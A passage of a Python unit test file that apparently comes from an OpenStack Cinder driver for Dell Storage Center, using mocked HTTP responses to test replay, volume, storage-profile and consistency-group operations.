@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_204)
def test_get_storage_usage_no_ssn(self,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where SSN is none
self.scapi.ssn = None
res = self.scapi.get_storage_usage()
self.scapi.ssn = 12345
self.assertFalse(mock_get.called)
self.assertIsNone(res, 'None expected')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_204)
# Test case where get of Storage Usage fails
def test_get_storage_usage_failure(self,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.get_storage_usage()
self.assertTrue(mock_get.called)
self.assertIsNone(res, 'None expected')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=RPLAY)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_create_replay(self,
mock_post,
mock_first_result,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.create_replay(self.VOLUME,
'Test Replay',
60)
self.assertTrue(mock_post.called)
self.assertTrue(mock_first_result.called)
self.assertEqual(self.RPLAY, res, 'Unexpected ScReplay')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=RPLAY)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_init_volume')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_create_replay_inact_vol(self,
mock_post,
mock_init_volume,
mock_first_result,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where the specified volume is inactive
res = self.scapi.create_replay(self.INACTIVE_VOLUME,
'Test Replay',
60)
self.assertTrue(mock_post.called)
mock_init_volume.assert_called_once_with(self.INACTIVE_VOLUME)
self.assertTrue(mock_first_result.called)
self.assertEqual(self.RPLAY, res, 'Unexpected ScReplay')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=RPLAY)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_create_replay_no_expire(self,
mock_post,
mock_first_result,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.create_replay(self.VOLUME,
'Test Replay',
0)
self.assertTrue(mock_post.called)
self.assertTrue(mock_first_result.called)
self.assertEqual(self.RPLAY, res, 'Unexpected ScReplay')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_create_replay_no_volume(self,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where no ScVolume is specified
res = self.scapi.create_replay(None,
'Test Replay',
60)
self.assertIsNone(res, 'Expected None')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_204)
def test_create_replay_failure(self,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where create ScReplay fails
res = self.scapi.create_replay(self.VOLUME,
'Test Replay',
60)
self.assertTrue(mock_post.called)
self.assertIsNone(res, 'Expected None')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=RPLAYS)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_find_replay(self,
mock_post,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.find_replay(self.VOLUME,
u'Cinder Test Replay012345678910')
self.assertTrue(mock_post.called)
self.assertTrue(mock_get_json.called)
self.assertEqual(self.TST_RPLAY, res, 'Unexpected ScReplay')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=[])
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_find_replay_no_replays(self,
mock_post,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where no replays are found
res = self.scapi.find_replay(self.VOLUME,
u'Cinder Test Replay012345678910')
self.assertTrue(mock_post.called)
self.assertTrue(mock_get_json.called)
self.assertIsNone(res, 'Expected None')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=None)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_204)
def test_find_replay_failure(self,
mock_post,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where None is returned for replays
res = self.scapi.find_replay(self.VOLUME,
u'Cinder Test Replay012345678910')
self.assertTrue(mock_post.called)
self.assertTrue(mock_get_json.called)
self.assertIsNone(res, 'Expected None')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'find_replay',
return_value=RPLAYS)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_204)
def test_delete_replay(self,
mock_post,
mock_find_replay,
mock_close_connection,
mock_open_connection,
mock_init):
replayId = u'Cinder Test Replay012345678910'
res = self.scapi.delete_replay(self.VOLUME,
replayId)
self.assertTrue(mock_post.called)
mock_find_replay.assert_called_once_with(self.VOLUME, replayId)
self.assertTrue(res, 'Expected True')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'find_replay',
return_value=None)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_204)
def test_delete_replay_no_replay(self,
mock_post,
mock_find_replay,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where specified ScReplay does not exist
replayId = u'Cinder Test Replay012345678910'
res = self.scapi.delete_replay(self.VOLUME,
replayId)
self.assertFalse(mock_post.called)
mock_find_replay.assert_called_once_with(self.VOLUME, replayId)
self.assertTrue(res, 'Expected True')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'find_replay',
return_value=TST_RPLAY)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_400)
def test_delete_replay_failure(self,
mock_post,
mock_find_replay,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where delete ScReplay results in an error
replayId = u'Cinder Test Replay012345678910'
res = self.scapi.delete_replay(self.VOLUME,
replayId)
self.assertTrue(mock_post.called)
mock_find_replay.assert_called_once_with(self.VOLUME, replayId)
self.assertFalse(res, 'Expected False')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=VOLUME)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_volume_folder',
return_value=FLDR)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_create_view_volume(self,
mock_post,
mock_find_volume_folder,
mock_first_result,
mock_close_connection,
mock_open_connection,
mock_init):
vol_name = u'Test_create_vol'
res = self.scapi.create_view_volume(
vol_name,
self.TST_RPLAY,
None)
self.assertTrue(mock_post.called)
mock_find_volume_folder.assert_called_once_with(True)
self.assertTrue(mock_first_result.called)
self.assertEqual(self.VOLUME, res, 'Unexpected ScVolume')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=VOLUME)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_volume_folder',
return_value=None)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_create_view_volume_create_fldr(self,
mock_post,
mock_find_volume_folder,
mock_first_result,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where volume folder does not exist and must be created
vol_name = u'Test_create_vol'
res = self.scapi.create_view_volume(
vol_name,
self.TST_RPLAY,
None)
self.assertTrue(mock_post.called)
mock_find_volume_folder.assert_called_once_with(True)
self.assertTrue(mock_first_result.called)
self.assertEqual(self.VOLUME, res, 'Unexpected ScVolume')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=VOLUME)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_volume_folder',
return_value=None)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_create_view_volume_no_vol_fldr(self,
mock_post,
mock_find_volume_folder,
mock_first_result,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where volume folder does not exist and cannot be created
vol_name = u'Test_create_vol'
res = self.scapi.create_view_volume(
vol_name,
self.TST_RPLAY,
None)
self.assertTrue(mock_post.called)
mock_find_volume_folder.assert_called_once_with(True)
self.assertTrue(mock_first_result.called)
self.assertEqual(self.VOLUME, res, 'Unexpected ScVolume')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_volume_folder',
return_value=FLDR)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_204)
def test_create_view_volume_failure(self,
mock_post,
mock_find_volume_folder,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where view volume create fails
vol_name = u'Test_create_vol'
res = self.scapi.create_view_volume(
vol_name,
self.TST_RPLAY,
None)
self.assertTrue(mock_post.called)
mock_find_volume_folder.assert_called_once_with(True)
self.assertIsNone(res, 'Expected None')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'create_view_volume',
return_value=VOLUME)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'create_replay',
return_value=RPLAY)
def test_create_cloned_volume(self,
mock_create_replay,
mock_create_view_volume,
mock_close_connection,
mock_open_connection,
mock_init):
vol_name = u'Test_create_clone_vol'
res = self.scapi.create_cloned_volume(
vol_name,
self.VOLUME,
['Daily'])
mock_create_replay.assert_called_once_with(self.VOLUME,
'Cinder Clone Replay',
60)
mock_create_view_volume.assert_called_once_with(
vol_name,
self.RPLAY,
['Daily'])
self.assertEqual(self.VOLUME, res, 'Unexpected ScVolume')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'create_view_volume',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'create_replay')
def test_create_cloned_volume_failure(self,
mock_create_replay,
mock_create_view_volume,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where create cloned volumes fails because create_replay
# fails
vol_name = u'Test_create_clone_vol'
mock_create_replay.return_value = None
res = self.scapi.create_cloned_volume(
vol_name,
self.VOLUME,
['Daily'])
mock_create_replay.assert_called_once_with(self.VOLUME,
'Cinder Clone Replay',
60)
self.assertFalse(mock_create_view_volume.called)
self.assertIsNone(res, 'Expected None')
# Again buy let create_view_volume fail.
mock_create_replay.return_value = self.RPLAY
res = self.scapi.create_cloned_volume(
vol_name,
self.VOLUME,
['Daily'])
mock_create_view_volume.assert_called_once_with(
vol_name,
self.RPLAY,
['Daily'])
self.assertIsNone(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=VOLUME)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_expand_volume(self,
mock_post,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.expand_volume(self.VOLUME, 550)
self.assertTrue(mock_post.called)
self.assertTrue(mock_get_json.called)
self.assertEqual(self.VOLUME, res, 'Unexpected ScVolume')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_204)
def test_expand_volume_failure(self,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.expand_volume(self.VOLUME, 550)
self.assertTrue(mock_post.called)
self.assertIsNone(res, 'Expected None')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'put',
return_value=RESPONSE_200)
def test_rename_volume(self,
mock_put,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.rename_volume(self.VOLUME, 'newname')
self.assertTrue(mock_put.called)
self.assertTrue(res)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'put',
return_value=RESPONSE_400)
def test_rename_volume_failure(self,
mock_put,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.rename_volume(self.VOLUME, 'newname')
self.assertTrue(mock_put.called)
self.assertFalse(res)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'delete',
return_value=RESPONSE_200)
def test_delete_server(self,
mock_delete,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._delete_server(self.SCSERVER)
self.assertTrue(mock_delete.called)
self.assertIsNone(res, 'Expected None')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'delete',
return_value=RESPONSE_200)
def test_delete_server_del_not_allowed(self,
mock_delete,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where delete of ScServer not allowed
res = self.scapi._delete_server(self.SCSERVER_NO_DEL)
self.assertFalse(mock_delete.called)
self.assertIsNone(res, 'Expected None')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value={'test': 'test'})
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_get_user_preferences(self,
mock_get,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
# Not really testing anything other than the ability to mock, but
# including for completeness.
res = self.scapi._get_user_preferences()
self.assertEqual({'test': 'test'}, res)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_400)
def test_get_user_preferences_failure(self,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._get_user_preferences()
self.assertEqual({}, res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_user_preferences',
return_value=None)
def test_update_storage_profile_noprefs(self,
mock_prefs,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.update_storage_profile(None, None)
self.assertFalse(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_user_preferences',
return_value={'allowStorageProfileSelection': False})
def test_update_storage_profile_not_allowed(self,
mock_prefs,
mock_close_connection,
mock_open_connection,
mock_init):
LOG = self.mock_object(dell_storagecenter_api, "LOG")
res = self.scapi.update_storage_profile(None, None)
self.assertFalse(res)
self.assertEqual(1, LOG.error.call_count)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_storage_profile',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_user_preferences',
return_value={'allowStorageProfileSelection': True})
def test_update_storage_profile_prefs_not_found(self,
mock_profile,
mock_prefs,
mock_close_connection,
mock_open_connection,
mock_init):
LOG = self.mock_object(dell_storagecenter_api, "LOG")
res = self.scapi.update_storage_profile(None, 'Fake')
self.assertFalse(res)
self.assertEqual(1, LOG.error.call_count)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_user_preferences',
return_value={'allowStorageProfileSelection': True,
'storageProfile': None})
def test_update_storage_profile_default_not_found(self,
mock_prefs,
mock_close_connection,
mock_open_connection,
mock_init):
LOG = self.mock_object(dell_storagecenter_api, "LOG")
res = self.scapi.update_storage_profile(None, None)
self.assertFalse(res)
self.assertEqual(1, LOG.error.call_count)
@mock.patch.object(
dell_storagecenter_api.StorageCenterApi,
'_get_user_preferences',
return_value={'allowStorageProfileSelection': True,
'storageProfile': {'name': 'Fake',
'instanceId': 'fakeId'}})
@mock.patch.object(dell_storagecenter_api.HttpClient,
'put',
return_value=RESPONSE_200)
def test_update_storage_profile(self,
mock_put,
mock_prefs,
mock_close_connection,
mock_open_connection,
mock_init):
LOG = self.mock_object(dell_storagecenter_api, "LOG")
fake_scvolume = {'name': 'name', 'instanceId': 'id'}
res = self.scapi.update_storage_profile(fake_scvolume, None)
self.assertTrue(res)
self.assertTrue('fakeId' in repr(mock_put.call_args_list[0]))
self.assertEqual(1, LOG.info.call_count)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=[RPLAY_PROFILE])
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_find_replay_profile(self,
mock_post,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.find_replay_profile('guid')
self.assertTrue(mock_post.called)
self.assertTrue(mock_get_json.called)
self.assertEqual(self.RPLAY_PROFILE, res, 'Unexpected Profile')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=[RPLAY_PROFILE, RPLAY_PROFILE])
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_find_replay_profile_more_than_one(self,
mock_post,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.find_replay_profile,
'guid')
self.assertTrue(mock_post.called)
self.assertTrue(mock_get_json.called)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=[])
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_find_replay_profile_empty_list(self,
mock_post,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.find_replay_profile('guid')
self.assertTrue(mock_post.called)
self.assertTrue(mock_get_json.called)
self.assertIsNone(res, 'Unexpected return')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_400)
def test_find_replay_profile_error(self,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.find_replay_profile('guid')
self.assertTrue(mock_post.called)
self.assertIsNone(res, 'Unexpected return')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'find_replay_profile',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=RPLAY_PROFILE)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_201)
def test_create_replay_profile(self,
mock_post,
mock_first_result,
mock_find_replay_profile,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.create_replay_profile('guid')
self.assertTrue(mock_find_replay_profile.called)
self.assertTrue(mock_post.called)
self.assertTrue(mock_first_result.called)
self.assertEqual(self.RPLAY_PROFILE, res, 'Unexpected Profile')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'find_replay_profile',
return_value=RPLAY_PROFILE)
def test_create_replay_profile_exists(self,
mock_find_replay_profile,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.create_replay_profile('guid')
self.assertTrue(mock_find_replay_profile.called)
self.assertEqual(self.RPLAY_PROFILE, res, 'Unexpected Profile')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'find_replay_profile',
return_value=None)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_400)
def test_create_replay_profile_fail(self,
mock_post,
mock_find_replay_profile,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.create_replay_profile('guid')
self.assertTrue(mock_find_replay_profile.called)
self.assertTrue(mock_post.called)
self.assertIsNone(res, 'Unexpected return')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'delete',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id')
def test_delete_replay_profile(self,
mock_get_id,
mock_delete,
mock_close_connection,
mock_open_connection,
mock_init):
profile = {'name': 'guid'}
self.scapi.delete_replay_profile(profile)
self.assertTrue(mock_get_id.called)
self.assertTrue(mock_delete.called)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'delete',
return_value=RESPONSE_400)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id')
def test_delete_replay_profile_fail(self,
mock_get_id,
mock_delete,
mock_close_connection,
mock_open_connection,
mock_init):
profile = {'name': 'guid'}
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.delete_replay_profile,
profile)
self.assertTrue(mock_get_id.called)
self.assertTrue(mock_delete.called)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=VOLUME_CONFIG)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id')
def test_get_volume_configuration(self,
mock_get_id,
mock_get,
mock_first_result,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._get_volume_configuration({})
self.assertTrue(mock_get_id.called)
self.assertTrue(mock_get.called)
self.assertEqual(self.VOLUME_CONFIG, res, 'Unexpected config')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_400)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id')
def test_get_volume_configuration_bad_response(self,
mock_get_id,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._get_volume_configuration({})
self.assertTrue(mock_get_id.called)
self.assertTrue(mock_get.called)
self.assertIsNone(res, 'Unexpected result')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_volume_configuration',
return_value=VOLUME_CONFIG)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'put',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id')
def test_update_volume_profiles(self,
mock_get_id,
mock_put,
mock_get_volume_configuration,
mock_close_connection,
mock_open_connection,
mock_init):
scvolume = {'instanceId': '1'}
existingid = self.VOLUME_CONFIG[u'replayProfileList'][0][u'instanceId']
vcid = self.VOLUME_CONFIG[u'instanceId']
# First get_id is for our existing replay profile id and the second
# is for the volume config and the last is for the volume id. And
# then we do this again for the second call below.
mock_get_id.side_effect = [existingid,
vcid,
scvolume['instanceId'],
existingid,
vcid,
scvolume['instanceId']]
newid = '64702.1'
expected_payload = {'ReplayProfileList': [newid, existingid]}
expected_url = 'StorageCenter/ScVolumeConfiguration/' + vcid
res = self.scapi._update_volume_profiles(scvolume, newid, None)
self.assertTrue(mock_get_id.called)
self.assertTrue(mock_get_volume_configuration.called)
mock_put.assert_called_once_with(expected_url, expected_payload, True)
self.assertTrue(res)
# Now do a remove. (Restarting with the original config so this will
# end up as an empty list.)
expected_payload['ReplayProfileList'] = []
res = self.scapi._update_volume_profiles(scvolume, None, existingid)
self.assertTrue(mock_get_id.called)
self.assertTrue(mock_get_volume_configuration.called)
mock_put.assert_called_with(expected_url, expected_payload, True)
self.assertTrue(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_volume_configuration',
return_value=VOLUME_CONFIG)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'put',
return_value=RESPONSE_400)
# We set this to 1 so we can check our payload
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id')
def test_update_volume_profiles_bad_response(self,
mock_get_id,
mock_put,
mock_get_volume_configuration,
mock_close_connection,
mock_open_connection,
mock_init):
scvolume = {'instanceId': '1'}
existingid = self.VOLUME_CONFIG[u'replayProfileList'][0][u'instanceId']
vcid = self.VOLUME_CONFIG[u'instanceId']
# First get_id is for our existing replay profile id and the second
# is for the volume config and the last is for the volume id. And
# then we do this again for the second call below.
mock_get_id.side_effect = [existingid,
vcid,
scvolume['instanceId'],
existingid,
vcid,
scvolume['instanceId']]
newid = '64702.1'
expected_payload = {'ReplayProfileList': [newid, existingid]}
expected_url = 'StorageCenter/ScVolumeConfiguration/' + vcid
res = self.scapi._update_volume_profiles(scvolume, newid, None)
self.assertTrue(mock_get_id.called)
self.assertTrue(mock_get_volume_configuration.called)
mock_put.assert_called_once_with(expected_url, expected_payload, True)
self.assertFalse(res)
# Now do a remove. (Restarting with the original config so this will
# end up as an empty list.)
expected_payload['ReplayProfileList'] = []
res = self.scapi._update_volume_profiles(scvolume, None, existingid)
self.assertTrue(mock_get_id.called)
self.assertTrue(mock_get_volume_configuration.called)
mock_put.assert_called_with(expected_url, expected_payload, True)
self.assertFalse(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_volume_configuration',
return_value=None)
def test_update_volume_profiles_no_config(self,
mock_get_volume_configuration,
mock_close_connection,
mock_open_connection,
mock_init):
scvolume = {'instanceId': '1'}
res = self.scapi._update_volume_profiles(scvolume, '64702.2', None)
self.assertTrue(mock_get_volume_configuration.called)
self.assertFalse(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'find_volume',
return_value=999)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_update_volume_profiles',
return_value=True)
def test_add_cg_volumes(self,
mock_update_volume_profiles,
mock_find_volume,
mock_close_connection,
mock_open_connection,
mock_init):
profileid = '100'
add_volumes = [{'id': '1', 'provider_id': '1'}]
res = self.scapi._add_cg_volumes(profileid, add_volumes)
self.assertTrue(mock_find_volume.called)
mock_update_volume_profiles.assert_called_once_with(999,
addid=profileid,
removeid=None)
self.assertTrue(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'find_volume',
return_value=999)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_update_volume_profiles',
return_value=False)
def test_add_cg_volumes_fail(self,
mock_update_volume_profiles,
mock_find_volume,
mock_close_connection,
mock_open_connection,
mock_init):
profileid = '100'
add_volumes = [{'id': '1', 'provider_id': '1'}]
res = self.scapi._add_cg_volumes(profileid, add_volumes)
self.assertTrue(mock_find_volume.called)
mock_update_volume_profiles.assert_called_once_with(999,
addid=profileid,
removeid=None)
self.assertFalse(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'find_volume',
return_value=999)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_update_volume_profiles',
return_value=True)
def test_remove_cg_volumes(self,
mock_update_volume_profiles,
mock_find_volume,
mock_close_connection,
mock_open_connection,
mock_init):
profileid = '100'
remove_volumes = [{'id': '1', 'provider_id': '1'}]
res = self.scapi._remove_cg_volumes(profileid, remove_volumes)
self.assertTrue(mock_find_volume.called)
mock_update_volume_profiles.assert_called_once_with(999,
addid=None,
removeid=profileid)
self.assertTrue(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'find_volume',
return_value=999)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_update_volume_profiles',
return_value=False)
def test_remove_cg_volumes_false(self,
mock_update_volume_profiles,
mock_find_volume,
mock_close_connection,
mock_open_connection,
mock_init):
profileid = '100'
remove_volumes = [{'id': '1', 'provider_id': '1'}]
res = self.scapi._remove_cg_volumes(profileid, remove_volumes)
self.assertTrue(mock_find_volume.called)
mock_update_volume_profiles.assert_called_once_with(999,
addid=None,
removeid=profileid)
self.assertFalse(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_remove_cg_volumes',
return_value=True)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_add_cg_volumes',
return_value=True)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id',
return_value='100')
def test_update_cg_volumes(self,
mock_get_id,
mock_add_cg_volumes,
mock_remove_cg_volumes,
mock_close_connection,
mock_open_connection,
mock_init):
profile = {'name': 'guid'}
add_volumes = [{'id': '1'}]
remove_volumes = [{'id': '2'}]
res = self.scapi.update_cg_volumes(profile,
add_volumes,
remove_volumes)
self.assertTrue(mock_get_id.called)
mock_add_cg_volumes.assert_called_once_with('100', add_volumes)
mock_remove_cg_volumes.assert_called_once_with('100',
remove_volumes)
self.assertTrue(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_remove_cg_volumes',
return_value=True)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_add_cg_volumes',
return_value=True)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id',
return_value='100')
def test_update_cg_volumes_no_remove(self,
mock_get_id,
mock_add_cg_volumes,
mock_remove_cg_volumes,
mock_close_connection,
mock_open_connection,
mock_init):
profile = {'name': 'guid'}
add_volumes = [{'id': '1'}]
remove_volumes = []
res = self.scapi.update_cg_volumes(profile,
add_volumes,
remove_volumes)
self.assertTrue(mock_get_id.called)
mock_add_cg_volumes.assert_called_once_with('100', add_volumes)
self.assertFalse(mock_remove_cg_volumes.called)
self.assertTrue(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_remove_cg_volumes',
return_value=True)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_add_cg_volumes',
return_value=True)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id',
return_value='100')
def test_update_cg_volumes_no_add(self,
mock_get_id,
mock_add_cg_volumes,
mock_remove_cg_volumes,
mock_close_connection,
mock_open_connection,
mock_init):
profile = {'name': 'guid'}
add_volumes = []
remove_volumes = [{'id': '1'}]
res = self.scapi.update_cg_volumes(profile,
add_volumes,
remove_volumes)
self.assertTrue(mock_get_id.called)
mock_remove_cg_volumes.assert_called_once_with('100', remove_volumes)
self.assertFalse(mock_add_cg_volumes.called)
self.assertTrue(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_remove_cg_volumes')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_add_cg_volumes',
return_value=False)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id',
return_value='100')
def test_update_cg_volumes_add_fail(self,
mock_get_id,
mock_add_cg_volumes,
mock_remove_cg_volumes,
mock_close_connection,
mock_open_connection,
mock_init):
profile = {'name': 'guid'}
add_volumes = [{'id': '1'}]
remove_volumes = [{'id': '2'}]
res = self.scapi.update_cg_volumes(profile,
add_volumes,
remove_volumes)
self.assertTrue(mock_get_id.called)
mock_add_cg_volumes.assert_called_once_with('100', add_volumes)
self.assertTrue(not mock_remove_cg_volumes.called)
self.assertFalse(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_remove_cg_volumes',
return_value=False)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_add_cg_volumes',
return_value=True)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id',
return_value='100')
def test_update_cg_volumes_remove_fail(self,
mock_get_id,
mock_add_cg_volumes,
mock_remove_cg_volumes,
mock_close_connection,
mock_open_connection,
mock_init):
profile = {'name': 'guid'}
add_volumes = [{'id': '1'}]
remove_volumes = [{'id': '2'}]
res = self.scapi.update_cg_volumes(profile,
add_volumes,
remove_volumes)
self.assertTrue(mock_get_id.called)
mock_add_cg_volumes.assert_called_once_with('100', add_volumes)
mock_remove_cg_volumes.assert_called_once_with('100',
remove_volumes)
self.assertFalse(res)
@mock.patch.object(dell_storagecenter_api.HttpClient,
